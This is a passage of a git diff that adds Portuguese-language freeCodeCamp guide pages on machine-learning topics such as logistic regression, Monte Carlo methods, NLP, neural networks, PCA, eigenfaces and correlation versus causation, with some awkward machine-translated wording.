+Aqui são feitos múltiplos classificadores binários (N \* N (N-1) / 2, onde N = no. De classes) e, em seguida, comparando as suas pontuações, a saída é obtida.
+
+#### Aplicações de regressão logística:
+
+1) Classificar email como spam ou não spam. 2) Determinar a presença ou ausência de certas doenças, como câncer, com base em sintomas e outros dados médicos. 3) Classifique imagens com base em dados de pixel.
+
+#### Suposições de Regressão Logística
+
+A regressão logística binária exige que a variável dependente seja binária. Para uma regressão binária, o nível de fator 1 da variável dependente deve representar o resultado desejado. Apenas as variáveis ​​significativas devem ser incluídas. As variáveis ​​independentes devem ser independentes umas das outras. Ou seja, o modelo deve ter pouca ou nenhuma multicolinearidade. As variáveis ​​independentes estão linearmente relacionadas com as probabilidades de log. A regressão logística requer tamanhos de amostra bastante grandes.
+
+#### Mais Informações:
+
+Para ler mais, construa a regressão logística passo a passo:
+
+*   Clique [aqui](https://medium.com/towards-data-science/building-a-logistic-regression-in-python-step-by-step-becd4d56c9c8) para um artigo sobre como construir uma Regressão Logística em Python.
+*   Clique [aqui](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976) para outro artigo sobre como construir uma Regressão Lógica.
+*   Clique [aqui](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976) para outro artigo sobre matemática e intuição por trás da Regressão Lógica.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/monte-carlo/index.md b/client/src/guide/portuguese/machine-learning/monte-carlo/index.md
new file mode 100644
index 0000000000..64866e5f08
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/monte-carlo/index.md
@@ -0,0 +1,20 @@
+---
+title: Monte Carlo
+localeTitle: Monte Carlo
+---
+## Monte Carlo
+
+O Monte Carlo é uma classe de técnicas de simulação que permite explorar o espaço de solução de um problema que possui entradas que podem assumir vários valores. Ao executar simulações com entradas aleatórias e parâmetros do modelo, você pode observar resultados que resultam de entradas que podem ter outras que não foram testadas. O método é útil para resolver problemas que podem ser difíceis de resolver analiticamente. Não é um método exato, mas um método heurístico, geralmente usando aleatoriedade e estatísticas para obter um resultado. O algoritmo termina com uma resposta correta com probabilidade.
+
+É um processo de computação que usa números aleatórios para produzir um resultado (s). Em vez de ter entradas fixas, as distribuições de probabilidade são atribuídas a algumas ou a todas as entradas. Isso gerará uma distribuição de probabilidade para a saída depois que a simulação for executada.
+
+Por exemplo, um algoritmo de Monte Carlo pode ser usado para estimar o valor de π. A quantidade de área dentro de um quarto de círculo de raio 1 depende do valor de π. A probabilidade de um ponto escolhido aleatoriamente se situar nesse quarto de círculo depende da área do círculo. Se os pontos forem colocados aleatoriamente em um quadrado com lados de comprimento 1, a porcentagem de pontos que caem dentro de um quarto de círculo de raio 1 dependerá do valor de π. Um algoritmo de Monte Carlo aleatoriamente colocaria pontos no quadrado e usaria a porcentagem de pontos que caem dentro do círculo para estimar o valor de π. Esta é uma maneira efetiva de fazer aproximações.
+
+Nos sistemas de comunicação modernos, a qualidade da troca de informações é determinada pela presença de ruído no canal. A principal fonte de ruído - Ruído Gaussiano Branco Aditivo (AWGN), sendo de natureza aleatória, pode ser caracterizada usando o algoritmo Monte Carlo na simulação de um Sistema de Comunicações.
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Monte_Carlo_method)
+*   [Wolfram MathWorld](http://mathworld.wolfram.com/MonteCarloMethod.html)
+*   [Artigo do Minitab - Monte Carlo não é tão difícil quanto você pensa](http://blog.minitab.com/blog/understanding-statistics/monte-carlo-is-not-as-difficult-as-you-think)
+*   [Algoritmo de Monte Carlo (4:41)](https://www.youtube.com/watch?v=Q2-FH36LuT0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/natural-language-processing/index.md b/client/src/guide/portuguese/machine-learning/natural-language-processing/index.md
new file mode 100644
index 0000000000..2500b95496
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/natural-language-processing/index.md
@@ -0,0 +1,61 @@
+---
+title: Natural Language Processing
+localeTitle: Processamento de linguagem natural
+---
+## Processamento de Linguagem Natural (PNL)
+
+Como diz a Wikipedia, "O processamento de linguagem natural (NLP) é um subcampo da ciência da computação, engenharia da informação e inteligência artificial relacionado às interações entre computadores e linguagens humanas (naturais), em particular como programar computadores para processar e analisar grandes quantidades de dados de linguagem natural ". Em termos mais simples, é um processo no qual a linguagem natural gerada por humanos é compreendida por computadores.
+
+### Desafios na PNL
+
+#### 1\. fácil ou principalmente resolvido
+```
+          *Spam detection 
+          *Part of Speech Tagging 
+          *Named Entity Recognition 
+```
+
+#### 2\. Intermediário ou fazendo um bom progresso
+```
+          *Sentiment analysis 
+          *Coreference resolution 
+          *Word sense disambiguation 
+          *Parsing 
+          *Machine Translation 
+          *Information Translation 
+```
+
+#### 3\. difícil ou ainda precisa de muito trabalho
+```
+          *Text Summarization 
+          *Machine dialog system 
+```
+
+### Técnicas Comuns
+```
+         *Structure extraction 
+         *Identify and mark sentence, phrase, and paragraph boundaries 
+         *Language identification 
+         *Tokenization 
+         *Acronym normalization and tagging 
+         *Lemmatization / Stemming 
+         *Entity extraction 
+         *Phrase extraction 
+```
+
+### Bibliotecas Popularmente Usadas
+```
+            *NLTK, the most widely-mentioned NLP library for Python. 
+        *SpaCy, an industrial-strength NLP library built for performance. 
+        *Gensim, a library for document similarity analysis. 
+        *TextBlob, a user-friendly and intuitive NLTK interface. 
+        *CoreNLP from stanford group 
+        *PolyGlot, a natural language pipeline that supports massive multilingual applications. 
+```
+
+#### Mais Informações:
+
+Para mais informações:
+
+*   Clique [aqui](https://medium.com/@gon.esbuyo/get-started-with-nlp-part-i-d67ca26cc828) para um artigo sobre a introdução da PNL.
+*   Clique [aqui](https://en.wikipedia.org/wiki/Natural_language_processing) para a referência da Wikipedia.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/convolutional-neural-networks/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/convolutional-neural-networks/index.md
new file mode 100644
index 0000000000..b36f449d04
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/convolutional-neural-networks/index.md
@@ -0,0 +1,12 @@
+---
+title: Convolutional Neural Networks
+localeTitle: Redes Neurais Convolucionais
+---
+Redes Neurais Convolucionais (ConvNets ou CNNs) são uma categoria de Redes Neurais que se mostraram muito eficazes em áreas como reconhecimento e classificação de imagens. Os convNets foram bem-sucedidos na identificação de rostos, objetos e sinais de trânsito, além de fornecer visão em robôs e carros autônomos.
+
+### Links sugeridos:
+
+*   Stanford CS231n [Palestra 5 Redes Neurais Convolucionais](https://www.youtube.com/watch?v=bNb2fEVKeEo)
+*   [Palestra](https://www.youtube.com/watch?v=DAOcjicFr1Y&t=2384s) Stanford CS231n [9 Arquiteturas da CNN](https://www.youtube.com/watch?v=DAOcjicFr1Y&t=2384s)
+*   Udacity Deep learning: [redes convolucionais](https://www.youtube.com/watch?v=jajksuQW4mc)
+*   DeepLearning.ai de Andrew Ng: [Redes Neuronais Convulacionais](https://www.coursera.org/learn/convolutional-neural-networks/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/generative-adversarial-networks/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/generative-adversarial-networks/index.md
new file mode 100644
index 0000000000..7af8b17599
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/generative-adversarial-networks/index.md
@@ -0,0 +1,21 @@
+---
+title: Generative Adversarial Networks
+localeTitle: Redes Adversariais Generativas
+---
+## Redes Adversariais Generativas
+
+## Visão geral
+
+As redes geradoras de conflitos (GANs) são uma classe de algoritmos de [inteligência artificial](https://en.wikipedia.org/wiki/Artificial_intelligence) usados ​​em [aprendizado de máquina não supervisionado](https://en.wikipedia.org/wiki/Unsupervised_machine_learning) , implementados por um sistema de duas [redes neurais que](https://en.wikipedia.org/wiki/Neural_network) competem entre si em uma estrutura de jogo de soma zero. Eles foram introduzidos por Ian Goodfellow et al. em 2014. Esta técnica pode gerar fotografias que parecem, pelo menos superficialmente, autênticas para os observadores humanos, tendo muitas características realistas (embora em testes as pessoas possam dizer reais a partir de geradas em muitos casos).
+
+## Método
+
+Uma rede gera candidatos (generativa) e a outra [avalia](https://en.wikipedia.org/wiki/Turing_test) (discriminativa). Tipicamente, a rede generativa aprende a mapear de um [espaço latente](https://en.wikipedia.org/wiki/Latent_variable) para uma distribuição de dados particular de interesse, enquanto a rede discriminativa discrimina entre instâncias da distribuição de dados verdadeira e candidatos produzidos pelo gerador. O objetivo de treinamento da rede gerativa é aumentar a taxa de erro da rede discriminativa (isto é, "enganar" a rede discriminadora produzindo novas instâncias sintetizadas que parecem ter vindo da verdadeira distribuição de dados).
+
+Na prática, um conjunto de dados conhecido serve como dados de treinamento inicial para o discriminador. Treinar o discriminador envolve apresentá-lo com amostras do conjunto de dados, até atingir algum nível de precisão. Normalmente, o gerador é propagado com uma entrada aleatória que é amostrada a partir de um espaço latente predefinido (por exemplo, uma [distribuição normal multivariada](https://en.wikipedia.org/wiki/Multivariate_normal_distribution) ). Depois disso, as amostras sintetizadas pelo gerador são avaliadas pelo discriminador. [A retropropagação](https://en.wikipedia.org/wiki/Backpropagation) é aplicada em ambas as redes para que o gerador produza imagens melhores, enquanto o discriminador se torna mais habilidoso em sinalizar imagens sintéticas. O gerador é tipicamente uma rede neural deconvolucional e o discriminador é uma [rede neural convolucional](https://en.wikipedia.org/wiki/Convolutional_neural_network) .
+
+A ideia de inferir modelos em um ambiente competitivo (modelo versus discriminador) foi proposta por Li, Gauci e Gross em 2013. Seu método é usado para inferência comportamental. É denominado Aprendizado de Turing, já que o cenário é semelhante ao de um [teste de Turing](https://en.wikipedia.org/wiki/Turing_test) . Turing Learning é uma generalização das GANs. Modelos diferentes de redes neurais podem ser considerados. Além disso, os discriminadores podem influenciar os processos dos quais os conjuntos de dados são obtidos, tornando-os interrogadores ativos, como no teste de Turing. A idéia de treinamento contraditório também pode ser encontrada em trabalhos anteriores, como Schmidhuber em 1992.
+
+## Aplicação
+
+As GANs foram usadas para produzir amostras de imagens [fotorrealistas](https://en.wikipedia.org/wiki/Photorealistic) para fins de visualização de novos designs internos / industriais, calçados, bolsas e itens de vestuário ou itens para cenas de jogos de computador. Essas redes foram relatadas para serem usadas pelo Facebook. Recentemente, as GANs modelaram padrões de movimento no vídeo. Eles também foram usados ​​para reconstruir modelos 3D de objetos a partir de imagens e para melhorar imagens astronômicas. Em 2017, um GAN feed-forward completamente convolucional foi usado para o aprimoramento da imagem usando síntese de textura automatizada em combinação com perda perceptual. O sistema se concentrava em texturas realistas, em vez de precisão de pixels. O resultado foi uma qualidade de imagem mais alta com alta ampliação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/index.md
new file mode 100644
index 0000000000..72fd58af72
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/index.md
@@ -0,0 +1,64 @@
+---
+title: Neural Networks
+localeTitle: Redes neurais
+---
+## Redes neurais
+
+![Rede neural feed-forward](http://ufldl.stanford.edu/tutorial/images/SingleNeuron.png)
+
+Uma rede neural artificial é um sistema de computação. Eles são como redes neurais biológicas que constituem cérebros de animais. Para treinar uma rede neural, precisamos de um vetor de entrada e um vetor de saída correspondente. O treinamento funciona minimizando um termo de erro. Esse erro pode ser a diferença quadrática entre a saída prevista e a saída original.
+
+O princípio básico subjacente ao notável sucesso das redes neurais é "o Teorema da Aproximação Universal". Está matematicamente provado que as redes neurais são máquinas de aproximação universais que são capazes de aproximar qualquer função matemática entre a entrada e a saída dadas.
+
+As redes neurais inicialmente se tornaram populares nos anos 80, mas as limitações no poder computacional proibiram sua ampla aceitação até a última década. As inovações no tamanho e na potência do CPU permitem a implementação da rede neural em escala, embora outros paradigmas de aprendizado de máquina ainda superem as redes neurais em termos de eficiência.
+
+O elemento mais básico de uma rede neural é um neurônio. Sua entrada é um vetor, digamos `x` , e sua saída é uma variável de valor real, digamos `y` . Assim, podemos concluir que o neurônio atua como um mapeamento entre o vetor `x` e um número real `y` .
+
+As redes neurais realizam a regressão iterativamente em várias camadas, resultando em um modelo de previsão com mais nuances. Um único nó em uma rede neural calcula exatamente a mesma função que [a regressão logística](../logistic-regression/index.md) . Todas essas camadas, além da entrada e saída, estão ocultas, ou seja, as características específicas representadas por essas camadas não são escolhidas ou modificadas pelo programador.
+
+![Quatro redes neurais em camadas](http://cs231n.github.io/assets/nn1/neural_net2.jpeg)
+
+Em qualquer camada, cada nó recebe todos os valores armazenados na camada anterior como entrada e faz previsões sobre eles com base em uma análise de regressão logística. O poder das redes neurais reside na sua capacidade de "descobrir" padrões e características não vistas pelos programadores. Como mencionado anteriormente, as camadas intermediárias estão "ocultas", significando que os pesos dados às transições são determinados exclusivamente pelo treinamento do algoritmo.
+
+As redes neurais são usadas em várias tarefas. Estes incluem visão computacional, reconhecimento de voz, tradução, filtragem de redes sociais, jogos de vídeo e diagnóstico médico, entre outras coisas.
+
+### Visualização
+
+Há uma ferramenta incrível para ajudá-lo a entender a ideia de redes neurais sem qualquer [cálculo](http://playground.tensorflow.org) : o [TensorFlow Playground](http://playground.tensorflow.org) , um aplicativo da web que permite que você jogue com uma rede neural real em execução no navegador e clique em botões e parâmetros para ver como funciona.
+
+### Problemas resolvidos usando redes neurais
+
+*   Classificação
+*   Clustering
+*   Regressão
+*   Detecção de anomalia
+*   Regras de associação
+*   Aprendizagem por reforço
+*   Previsão estruturada
+*   Engenharia de recursos
+*   Aprendizagem de recursos
+*   Aprendendo a classificar
+*   Indução de gramática
+*   Previsão do tempo
+*   Gerando imagens
+
+### Sistemas de Rede Neural Comum
+
+As redes neurais mais comuns usadas hoje se enquadram na categoria de [aprendizagem profunda](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/deep-learning/index.md) . A aprendizagem profunda é o processo de encadear múltiplas camadas de neurônios para permitir que uma rede crie mapeamentos cada vez mais abstratos entre vetores de entrada e saída. As redes neurais profundas geralmente usarão a [propogação reversa](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/backpropagation/index.md) para convergir com o mapeamento mais preciso.
+
+A segunda forma mais comum de redes neurais é a nueroevolução. Neste sistema, várias redes neurais são geradas aleatoriamente como estimativas iniciais. Em seguida, várias gerações de combinação das redes mais precisas e permutações aleatórias são usadas para convergir para um mapeamento mais preciso.
+
+### Tipos de redes neurais
+
+*   Rede Neural Recorrente (RNN)
+*   Memória de longo e curto prazo (LSTM), um tipo de RNN
+*   Rede Neural de Convolução (CNN)
+
+### Mais Informações:
+
+*   [Redes Neurais - Wikipedia](https://en.wikipedia.org/wiki/Artificial_neural_network#Components_of_an_artificial_neural_network)
+*   [A natureza do código de Daniel Shiffman](http://natureofcode.com/book/chapter-10-neural-networks/)
+*   [Universidade de Stanford, Redes Neurais Multicamadas](http://ufldl.stanford.edu/tutorial/supervised/MultiLayerNeuralNetworks/)
+*   [3Blue1Brown, canal do Youtube com conteúdo de rede neural](https://youtu.be/aircAruvnKk)
+*   [Siraj Raval, canal do Youtube com conteúdo de rede neural](https://youtu.be/h3l4qz76JhQ)
+*   [Neuroevolução - Wikipedia](https://en.wikipedia.org/wiki/Neuroevolution)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/multi-layer-perceptron/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/multi-layer-perceptron/index.md
new file mode 100644
index 0000000000..fbdca2dbf8
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/multi-layer-perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Multi Layer Perceptron
+localeTitle: Perceptron de Camadas Múltiplas
+---
+## Perceptron de Camadas Múltiplas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/multi-layer-perceptron/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/perceptron/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/perceptron/index.md
new file mode 100644
index 0000000000..21fe5ee3bc
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Perceptron
+localeTitle: Perceptron
+---
+## Perceptron
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/perceptron/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/neural-networks/recurrent-neural-networks/index.md b/client/src/guide/portuguese/machine-learning/neural-networks/recurrent-neural-networks/index.md
new file mode 100644
index 0000000000..f2538b63ea
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/neural-networks/recurrent-neural-networks/index.md
@@ -0,0 +1,11 @@
+---
+title: Recurrent Neural Networks
+localeTitle: Redes Neurais Recorrentes
+---
+## Redes Neurais Recorrentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/recurrent-neural-networks/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/one-shot-learning/index.md b/client/src/guide/portuguese/machine-learning/one-shot-learning/index.md
new file mode 100644
index 0000000000..57e7d2076e
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/one-shot-learning/index.md
@@ -0,0 +1,16 @@
+---
+title: One-Shot Learning
+localeTitle: Aprendizagem em Um Só Tiro
+---
+# Aprendizagem em Um Só Tiro
+
+Humanos aprendem novos conceitos com muito pouca necessidade de repetição - por exemplo, uma criança pode generalizar o conceito de um "macaco" de uma única imagem em um livro, mas nossos melhores sistemas de aprendizagem profunda precisam de centenas ou milhares de exemplos para compreender qualquer objeto até um ponto de precisão decente. Isso motiva o cenário no qual estamos interessados: o aprendizado “one-shot”, que consiste em aprender uma aula a partir de um único (ou muito poucos) exemplo rotulado.
+
+Existem várias abordagens para o aprendizado One-Shot, como [funções de similaridade](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG) , [Teorema de probabilidade de Bayes](https://www.youtube.com/watch?v=FIjy3lV_KJU) , DeepMind surgiu com a sua própria versão de redes neurais usando a abordagem de aprendizagem One-Shot!
+
+### Mais Informações:
+
+*   [Siraj Raval no YouTube](https://www.youtube.com/watch?v=FIjy3lV_KJU&feature=youtu.be)
+*   [Andrew Ng (Deeplearning.ai)](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG)
+*   [Artigo acadêmico](http://web.mit.edu/cocosci/Papers/Science-2015-Lake-1332-8.pdf)
+*   [Wikipedia](https://en.wikipedia.org/wiki/One-shot_learning)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principal-component-analysis/eigen-faces/index.md b/client/src/guide/portuguese/machine-learning/principal-component-analysis/eigen-faces/index.md
new file mode 100644
index 0000000000..8b5896388d
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principal-component-analysis/eigen-faces/index.md
@@ -0,0 +1,35 @@
+---
+title: Eigen Faces
+localeTitle: Rostos Próprios
+---
+## Eigen Faces
+
+### Esboço
+
+*   Problema
+*   Abordagem da Solução
+*   Conjunto de dados
+*   Analise matemática
+*   Reconstrução de Imagem
+
+### Problema
+
+Usamos tipicamente os autovalores e autovetores da matriz de covariância dos dados para computar nossos principais componentes. E se você não conseguir calcular a matriz de covariância devido a problemas de memória?
+
+### Abordagem da Solução
+
+Nós agora usamos um truque. Em vez de usar dimensões de imagem para a matriz de covariância, usamos o número de imagens. Isso abre outra vantagem. Agora que temos os vetores de recursos de todas as nossas imagens, tudo o que precisamos é dessas imagens para reconstruir qualquer imagem no mundo.
+
+### Definindo o conjunto de dados
+
+Considere que temos imagens em escala de cinza de tamanho nx n. m é da ordem de 100 en é da ordem 10000. Nosso objetivo é selecionar k componentes que representam corretamente todos os recursos da imagem. Agora criamos uma matriz X, onde armazenamos as imagens planas (n ^ 2 x 1) em linha. Portanto X é de dimensão n ^ 2 x m.
+
+### Analise matemática
+
+A computação da covariância dessa matriz é onde as coisas ficam interessantes. Covariância de uma matriz X é definida como ponto (X, XT), cuja dimensão é n ^ 2 xn ^ 2.Isso obviamente ficará sem memória para um conjunto de dados tão grande. Agora, considere o seguinte conjunto de equações. ponto (XT, X) V = λ V onde V é o autovetor e λ é os autovalores correspondentes. Pré-multiplicação com X, ponto (ponto (X, XT), ponto (X, V)) = ponto λ (X. V) Assim, descobrimos que o autovetor da matriz de covariância é simplesmente o produto escalar da matriz da imagem e o autovetor do ponto (XT, X).
+
+Portanto, calculamos o ponto (XT, X), cuja dimensão é apenas mxm, e usamos o autovetor dessa matriz para construir o autovetor de a matriz original. Os autovalores de ponto (XT, X) (juntamente com seus autovetores correspondentes) correspondem aos m maiores autovalores de ponto (X, XT) (juntamente com seus autovetores correspondentes). Nosso exigido Os autovetores são apenas os primeiros autovetores k e seus autovalores correspondentes. Agora calculamos uma matriz de eigenfaces, que nada mais é do que as imagens ponderadas autovetores. Os pesos para cada imagem k serão agora ponto (XT, eigenfaces (primeiros valores k)).
+
+### Reconstrução de Imagem
+
+Este método nos ajuda a representar qualquer imagem usando apenas k características de m imagens. Qualquer imagem pode ser reconstruída usando esses pesos. Para obter qualquer imagem, Imagem (i) = ponto (eigenface (k), peso \[i,:\]. T)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principal-component-analysis/index.md b/client/src/guide/portuguese/machine-learning/principal-component-analysis/index.md
new file mode 100644
index 0000000000..e158989b60
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principal-component-analysis/index.md
@@ -0,0 +1,62 @@
+---
+title: Principal Component Analysis
+localeTitle: Análise do componente principal
+---
+## Análise de Componentes Principais (PCA)
+
+### O que é isso?
+
+A Análise de Componentes Principais (PCA) é um algoritmo usado no aprendizado de máquina para reduzir as dimensões de um conjunto de dados. Você pode reduzir um conjunto de dados contendo centenas de recursos diferentes para um novo conjunto de dados contendo apenas dois.
+
+Por exemplo, imagine que você queira medir a capacidade de um piloto. Existem muitos fatores diferentes envolvidos nisso. Duas características relevantes a serem levadas em consideração podem ser a habilidade do piloto e o prazer do piloto. Este seria um conjunto de dados bidimensional, pois contém dois recursos. O PCA poderia reduzir esses recursos em um, unindo-os. Você pode chamar esse novo recurso de "piloto de aptidão". Esse novo recurso oferece uma métrica mais simples para medir a capacidade de um piloto.
+
+Se você planejar a habilidade do piloto contra o prazer do piloto, você pode obter algo assim:
+
+![Traçando habilidade piloto versus diversão piloto](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/plot-skill-vs-enjoyment.png?raw=true)
+
+Intuitivamente, o que o PCA faz é encontrar a melhor linha reta (ou plano, em situações dimensionais mais altas) na qual projetar esses dois recursos. A projeção é feita desenhando uma linha perpendicular entre o ponto e a linha. Você pode ver uma ilustração disso abaixo:
+
+![Projeção para linha](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/projection.png?raw=true)
+
+Você pode pensar no PCA como encontrar a melhor linha para o conjunto de dados para que as informações de cada ponto sejam preservadas melhor. Isso é feito minimizando a soma dos erros de projeção ao quadrado de cada ponto. O erro de projeção é o comprimento das linhas perpendiculares projetando cada ponto na linha. Ao minimizá-los, você garante que a linha reta escolhida seja a melhor combinação desses dois recursos.
+
+Abaixo estão exemplos de uma boa linha na qual projetar os dados e um mau. As projeções resultantes da linha boa são mais representativas dos dados originais e possuem erros menores. As projeções resultantes da linha ruim são claramente uma representação pior, e os erros de projeção são muito maiores.
+
+![Boa versus má projeção de pontos](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/good-vs-bad-projection.png?raw=true)
+
+**Importante** : Vale a pena notar que o PCA é diferente da [regressão linear](https://en.wikipedia.org/wiki/Linear_regression) . Seus objetivos de otimização (o que eles pretendem minimizar) são diferentes.
+
+Se você executar o PCA no conjunto de dados piloto, poderá obter um novo recurso, "piloto de aptidão", semelhante a este:
+
+![Transformando o conjunto de dados piloto usando o PCA](https://github.com/DHDaniel/guides/blob/master/src/pages/machine-learning/principal-component-analysis/PCA-on-dataset.png?raw=true)
+
+A matemática por trás do PCA é um pouco complicada, mas você não precisa ser especialista para usá-lo. Embora exista muita álgebra linear, o uso é relativamente fácil. Isso ocorre porque há muitas bibliotecas de códigos com implementações de PCA prontas. Alguns exemplos incluem:
+
+*   [Uma implementação do JavaScript PCA](https://github.com/mljs/pca) .
+*   [Implementação de scikit-learn em Python](http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html) .
+*   [Implementação do MATLAB](https://www.mathworks.com/help/stats/pca.html) .
+
+### Por que usar isso?
+
+Existem muitas razões para usar o algoritmo PCA. Um muito importante é visualizar dados. É fácil visualizar dados em 1-D, 2-D e até 3-D, mas além disso, torna-se difícil. No aprendizado de máquina, geralmente é muito útil visualizar os dados antes de começar a trabalhar nele. Mas um conjunto de dados de alta dimensão é muito difícil de visualizar. Ao usar o PCA, um conjunto de dados de cem dimensões pode ser reduzido para um conjunto de dados bidimensional.
+
+Isso é especialmente útil em situações do mundo real, em que os conjuntos de dados geralmente são de alta dimensão. Por exemplo, você pode combinar métricas de desempenho econômico, como PIB, IDH, etc., em um único recurso. Isso permite que você faça comparações melhores entre os países e também permite visualizar os dados usando um gráfico.
+
+Outra razão para usar o algoritmo PCA é tornar seu conjunto de dados menor. Para problemas que envolvem centenas de milhares de recursos (como processamento de imagem), os algoritmos de aprendizado de máquina podem levar muito tempo para serem executados. Ao reduzir o número de recursos, você pode melhorar a velocidade desses algoritmos sem sacrificar a precisão. Você também pode economizar muito espaço em disco, especialmente se estiver trabalhando com grandes conjuntos de dados.
+
+### Limitações
+
+Como você está basicamente simplificando um conjunto de dados ao executar o PCA, alguns detalhes podem ser perdidos no processo. Este é especialmente o caso de pontos de dados muito dispersos e que não possuem uma correlação muito forte.
+
+#### Leitura sugerida:
+
+*   https://www.reddit.com/r/datascience/comments/668pp1
+*   https://en.wikipedia.org/wiki/Análise de _componente principal_
+*   http://www.cs.otago.ac.nz/cosc453/student _tutorials / principal_ components.pdf
+*   http://setosa.io/ev/principal-component-analysis/ (interativo)
+
+Wikipedia Says, "Análise de componentes principais (PCA) é um procedimento estatístico que usa uma transformação ortogonal para converter um conjunto de observações de variáveis ​​possivelmente correlacionadas em um conjunto de valores de variáveis ​​lineares não correlacionadas chamados componentes principais (ou às vezes, principais modos de variação) "
+
+Análise de componentes principais (PCA) é uma técnica estatística usada para examinar as inter-relações entre um conjunto de variáveis, a fim de identificar a estrutura subjacente dessas variáveis. O PCA geralmente reduz o número de recursos de N-Dimensional a k-Dimensional, onde k <N
+
+O PCA tem as seguintes aplicações: 1) Compressão: Aumentar a velocidade computacional e também reduzir o espaço de armazenamento 2) Visualização: PCA pode reduzir os dados para dois ou três dados dimensionais para fins de visualização
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/correlation-does-not-imply-causation/index.md b/client/src/guide/portuguese/machine-learning/principles/correlation-does-not-imply-causation/index.md
new file mode 100644
index 0000000000..b2e12f4143
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/correlation-does-not-imply-causation/index.md
@@ -0,0 +1,24 @@
+---
+title: Correlation Does not Imply Causation
+localeTitle: Correlação não implica em causa
+---
+## Correlação não implica em causa
+
+Muitos sites relacionados à saúde e fitness muitas vezes perdem esse ponto sobre pesquisas que tendem a acontecer nesses campos. Eles relatam a pesquisa científica como Causação diferente do que realmente é, Correlação. Por exemplo Pesquisadores descobriram que os madrugadores têm menor IMC e são encontrados menos obesos. Essa correlação pode ser deturpada como "Acordar cedo pode reduzir as chances de Obesidade". Nós não sabemos que apenas acordar cedo "causou" o resultado - menor obesidade. O que encontramos aqui é Correlação.
+
+A definição informal de Correlação vai como - quando o evento A acontece, o evento B também tende a acontecer e vice-versa. Ou as pessoas que acordam cedo tendem a estar na extremidade inferior do espectro de peso. Ambos os eventos tendem a acontecer juntos. Mas não é necessário que um evento cause o outro.
+
+Causalidade significa que o evento A 'causou' ou levou ao acontecimento do evento B. Por exemplo. se eu ficar no sol, ficaria bronzeada. Aqui, então, o segundo evento ocorre por causa do primeiro.
+
+Nas estatísticas, há muita conversa sobre **variáveis ​​correlacionadas** . Uma correlação é uma relação entre duas variáveis. **Causação** refere-se a um relacionamento em que uma mudança em uma variável **é responsável pela** mudança de outra variável. Isso também é conhecido como um **relacionamento causal** .
+
+Quando há uma relação causal entre duas variáveis, há também uma correlação entre elas. Mas, uma correlação entre duas variáveis ​​não implica uma relação causal entre elas. Esta é uma [falácia lógica](https://en.wikipedia.org/wiki/Formal_fallacy) .
+
+Isso ocorre porque uma correlação entre duas variáveis ​​pode ser explicada por várias razões:
+
+*   Uma variável influencia a outra. Este _seria_ um relacionamento causal. Por exemplo, existe uma correlação entre o salário familiar e o número de carros possuídos.
+*   Ambas as variáveis ​​influenciam umas às outras. Esse _seria_ um relacionamento causal de mão dupla. Por exemplo, uma correlação entre o nível de educação e a riqueza de uma pessoa.
